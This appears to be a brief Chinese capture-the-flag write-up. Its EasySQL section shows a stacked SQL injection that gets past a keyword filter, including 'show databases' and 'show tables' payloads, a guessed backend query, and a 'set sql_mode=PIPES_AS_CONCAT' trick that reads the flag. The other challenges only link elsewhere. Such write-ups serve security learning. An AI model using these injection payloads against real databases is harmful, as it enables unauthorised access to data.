CheckIn
另一篇博客
EasySQL 考点:堆叠注入fuzz一下
过滤了insert,or,order,delete,update,like,union
等一些字符,但;
没有被过滤,我们可以考虑堆叠注入。
query=1;show databases;
query=1;use ctf;show tables;
由于在最开始测试时发现输入任意数字回显都是Array([0]= > 1)
,输入字母无回显,猜测查询语句
$sql = "select ".$post['query']."||flag from Flag";
||
在SQL语句中表示或
,在查询表中的字段内容时,逗号用于查询多个字段名
非预期:
*,1
//select *,1 from Flag
预期解:
通过修改SQL配置将或运算符||
设置为连接符
1;set sql_mode=PIPES_AS_CONCAT;select 1
//select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag;
Pythonginx
另一篇博客
easyWeb另一篇博客
参考:
https://blog.csdn.net/rfrder/article/details/109743728